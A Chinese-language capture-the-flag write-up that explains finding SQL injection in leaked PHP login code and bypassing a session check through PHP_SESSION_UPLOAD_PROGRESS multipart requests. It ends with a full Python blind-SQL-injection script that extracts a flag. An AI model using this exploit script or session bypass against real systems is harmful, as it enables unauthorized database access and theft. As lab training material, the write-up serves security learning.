这题单独拿出来,因为有好多知识点
打开靶机,一个登录和一个注册页面。根据题目名称fuzz一波,发现注册页面和登录页面都没有注入点。
源代码中发现源码泄露source.zip。下载
在templates中的login.php发现注入点
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
可以发现username为注入点,password因为有md5加密,所以构不成注入。fuzz时还发现过滤了 ‘ 根据语句 使用\逃逸引号并用#闭合构造查询语句。这里我们已经知道数据库名为ptbctf了
1 2 3 4 5 6 7 8 9 10 11 12 | <?php session_start(); foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value){ !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } |
google后发现
There seems to be some
addslashes
bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL. We revisted the “direct access protection” oftemplates/login.php
, which depends onsession_start()
being called before. I remembered from HITCON CTF 2018 thatPHP_SESSION_UPLOAD_PROGRESS
can be used to force PHP to initialize$_SESSION
to bypassing the check.
大概意思是如果我们强制登录的话,系统不会处理我们的请求,需要强制初始化session来绕过验证
’‘The PHP check the value
session.auto_start
or functionsession_start()
to know whether it need to process session on current request or not. Unfortunately, the default value ofsession.auto_start
isOff
. However, it’s interesting that if you provide thePHP_SESSION_UPLOAD_PROGRESS
in multipart POST data. The PHP will enable the session for you’‘
这意思大概是PHP检查值session.auto_start
或函数session_start()
以了解是否需要处理当前请求的会话,但是如果不包含直接传入,则不会请求会话,但是如果以post方式传入PHP_SESSION_UPLOAD_PROGRESS
的话,php就会默认打开会话
在post 提交之 multipart/form-data; boundary= …这篇文章中还接好了如何模拟multipart/form-data
请求以及构建方法,我们可以发现,一般multipart/form-data
请求请求体的格式用在网站登录上,而我们正需要登录某网站
我们设置好boundary的值,并以post方式传入boundary值为名的数据,设置name为PHP_SESSION_UPLOAD_PROGRESS
随便传入些数据并结尾,即可完成强制绕过
有了这些知识,我们大概就有了脚本思路,构建Cooike
并强制传入PHPSESSID
,传入PHP_SESSION_UPLOAD_PROGRESS
有关数据,执行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import requests result ='' url = 'http://c8523a02-f61f-4319-b6eb-85b65874a19e.node3.buuoj.cn/templates/login.php?username=' data = '''------ha1c9on Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" ha1c9on ------ha1c9on--''' headers = {'Cookie' : 'PHPSESSID=ha1c9on;', 'Content-Type':'multipart/form-data; boundary=----ha1c9on'} for x in range(1,10000): for i in range(32,128): payload = "1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23".format(i,x); r = requests.post(url+payload,headers=headers,data=data) if "Try again!" not in r.text: result += chr(i) print(result) break; else: continue; if result[-1]=="}": break; |
跑一会儿就会获得flag